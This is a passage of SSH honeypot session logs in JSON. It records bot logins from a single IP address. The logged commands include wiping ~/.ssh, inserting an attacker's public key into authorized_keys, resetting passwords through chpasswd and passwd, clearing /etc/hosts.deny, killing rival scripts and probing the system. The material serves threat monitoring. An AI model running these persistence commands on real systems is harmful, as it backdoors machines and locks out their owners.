$7}'"},{"seq":10,"at":"2026-08-27T01:10:33.064085+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:10:33.591248+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:10:34.825956+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:10:35.352227+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:10:35.628201+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:10:36.176601+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:10:36.528113+00:00","kind":"output","latency_ms":null,"data":" 01:10:36 up 6 days, 22:00, 0 user, load average: 0.13, 0.15, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:10:37.045037+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:10:37.417489+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:10:37.936104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:10:38.684369+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:10:39.408016+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:10:39.801683+00:00","kind":"output","latency_ms":null,"data":"top - 01:10:39 up 6 days, 22:00, 0 user, load average: 0.13, 0.15, 0.09\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:10:40.550128+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:10:40.943504+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:10:41.468712+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:10:42.154784+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:10:42.673374+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:10:43.088873+00:00","kind":"output","latency_ms":null,"data":"docker"},{"seq":29,"at":"2026-08-27T01:10:43.750175+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:10:44.812375+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:10:45.324663+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:10:46.677906+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"docker","password":"Aa123456","method":"password","accepted":true,"tier":"other"}]} {"id":"f15d6b87-e607-42db-8100-2207cff5b2fb","name":"lawful-craggy-pelican","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":55712,"username":"docker","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:10:27.044299+00:00","ended_at":"2026-08-27T01:10:28.357519+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"docker","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"460c4b6c-1b72-4a1b-aefc-daf547ac843c","name":"polar-nimble-waxwing","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":51882,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:10:21.742693+00:00","ended_at":"2026-08-27T01:10:23.407564+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"575f8bc6-f8c8-4f63-925f-1e744944f020","name":"slender-dewy-woodcock","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":33074,"username":"ashish","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":550,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:07:49.458024+00:00","ended_at":"2026-08-27T01:07:50.570753+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2237,"events":[{"seq":1,"at":"2026-08-27T01:07:24.457717+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:07:25.026521+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:07:31.526624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:07:31.817961+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:07:32.366766+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ashish123\\nWpnIxXLmQTQR\\nWpnIxXLmQTQR\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:07:32.926912+00:00","kind":"input","latency_ms":null,"data":"echo \"ashish123\\nWpnIxXLmQTQR\\nWpnIxXLmQTQR\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:07:33.469714+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:07:34.114609+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:07:34.747197+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:07:36.078748+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:07:36.627105+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:07:38.012159+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:07:38.572650+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:07:39.088525+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:07:39.639071+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:07:39.927215+00:00","kind":"output","latency_ms":null,"data":" 01:07:39 up 6 days, 21:57, 0 user, load average: 0.06, 0.07, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:07:40.477620+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:07:40.783660+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:07:41.334530+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:07:42.032308+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:07:42.576137+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:07:42.963567+00:00","kind":"output","latency_ms":null,"data":"top - 01:07:42 up 6 days, 21:57, 0 user, load average: 0.06, 0.07, 0.04\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:07:43.513654+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:07:44.197487+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:07:44.746539+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:07:45.485502+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:07:46.039166+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:07:46.878427+00:00","kind":"output","latency_ms":null,"data":"ashish"},{"seq":29,"at":"2026-08-27T01:07:47.430554+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:07:48.907076+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:07:49.458705+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:07:50.397871+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ashish","password":"ashish123","method":"password","accepted":true,"tier":"other"}]} {"id":"dd4e38c5-7703-4d23-b8bc-b9af9bb33a01","name":"smoky-plush-zebu","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":33094,"username":"ashish","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:07:29.715384+00:00","ended_at":"2026-08-27T01:07:31.341497+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ashish","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3019dfd4-5081-44b9-bf53-6e38ab140a00","name":"arctic-fringed-shrike","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":33080,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:07:27.689228+00:00","ended_at":"2026-08-27T01:07:28.666377+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"633faf4c-a0a3-4be5-b02f-5141979685ad","name":"dapper-nimble-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":56552,"username":"root2","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":547,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:04:49.081590+00:00","ended_at":"2026-08-27T01:04:50.555496+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2270,"events":[{"seq":1,"at":"2026-08-27T01:04:22.438612+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:04:23.195912+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:04:30.782509+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:04:31.109418+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:04:31.662683+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lAjDvNHLtbCD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:04:32.201076+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:04:32.752809+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:04:33.323416+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:04:33.862890+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:04:35.227205+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:04:35.774784+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:04:36.808040+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:04:37.368093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:04:38.035440+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:04:38.573471+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:04:39.408675+00:00","kind":"output","latency_ms":null,"data":" 01:04:39 up 6 days, 21:54, 0 user, load average: 0.1, 0.09, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:04:39.963365+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:04:40.489538+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:04:41.025198+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:04:41.867282+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:04:42.403387+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:04:43.188860+00:00","kind":"output","latency_ms":null,"data":"top - 01:04:43 up 6 days, 21:54, 0 user, load average: 0.1, 0.09, 0.07\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:04:43.737769+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:04:44.167370+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:04:44.704731+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:04:45.013459+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:04:45.874515+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:04:46.611223+00:00","kind":"output","latency_ms":null,"data":"root2"},{"seq":29,"at":"2026-08-27T01:04:47.149564+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:04:48.530909+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:04:49.082300+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:04:50.386785+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root2","password":"root2","method":"password","accepted":true,"tier":"other"}]} {"id":"634d7e91-4703-4103-997c-a62388a67bd7","name":"curious-cosmic-finch","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":34292,"username":"root2","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:04:28.983368+00:00","ended_at":"2026-08-27T01:04:30.616069+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root2","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"55145ca7-0bf5-4eed-983b-469d72b4220e","name":"kindly-thorny-panther","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":34288,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:04:25.152372+00:00","ended_at":"2026-08-27T01:04:26.498607+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"53ff8ccc-cf47-4170-a33c-af3e7ec1aa6f","name":"upland-hushed-sloth","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":52344,"username":"es","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":515,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:01:44.923784+00:00","ended_at":"2026-08-27T01:01:46.412093+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T01:01:15.535273+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:01:16.218810+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:01:25.554293+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:01:26.245859+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:01:26.768137+00:00","kind":"input","latency_ms":null,"data":"echo -e \"es#123\\nJAmOFBdnXY1Z\\nJAmOFBdnXY1Z\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:01:27.334134+00:00","kind":"input","latency_ms":null,"data":"echo \"es#123\\nJAmOFBdnXY1Z\\nJAmOFBdnXY1Z\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:01:27.885122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:01:28.729521+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:01:29.548049+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:01:31.024750+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:01:31.540965+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:01:33.253162+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:01:33.767821+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:01:34.333405+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:01:34.840256+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:01:35.643603+00:00","kind":"output","latency_ms":null,"data":" 01:01:35 up 6 days, 21:51, 0 user, load average: 0.19, 0.23, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:01:36.164478+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:01:36.796843+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:01:37.305776+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:01:37.957630+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:01:38.516092+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:01:39.199433+00:00","kind":"output","latency_ms":null,"data":"top - 01:01:39 up 6 days, 21:51, 0 user, load average: 0.19, 0.23, 0.16\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:01:39.775090+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:01:40.186290+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:01:40.701717+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:01:41.148081+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:01:41.656178+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:01:42.443880+00:00","kind":"output","latency_ms":null,"data":"es"},{"seq":29,"at":"2026-08-27T01:01:42.993963+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:01:44.409695+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:01:44.924684+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:01:46.249277+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"es","password":"es#123","method":"password","accepted":true,"tier":"other"}]} {"id":"30865403-9f85-43f1-85c3-e91a7b1d4cb1","name":"languid-arctic-polecat","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":38198,"username":"es","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:01:24.129138+00:00","ended_at":"2026-08-27T01:01:25.330560+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"es","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"69167e8e-f238-43de-b008-bbff6950fb50","name":"foggy-umber-warbler","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":52360,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:01:20.641544+00:00","ended_at":"2026-08-27T01:01:22.395353+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8bb1840d-1c97-4d2c-b932-11905850fd71","name":"windswept-civil-francolin","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":43432,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":555,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:58:29.699246+00:00","ended_at":"2026-08-27T00:58:31.016165+00:00","ended_reason":"exec 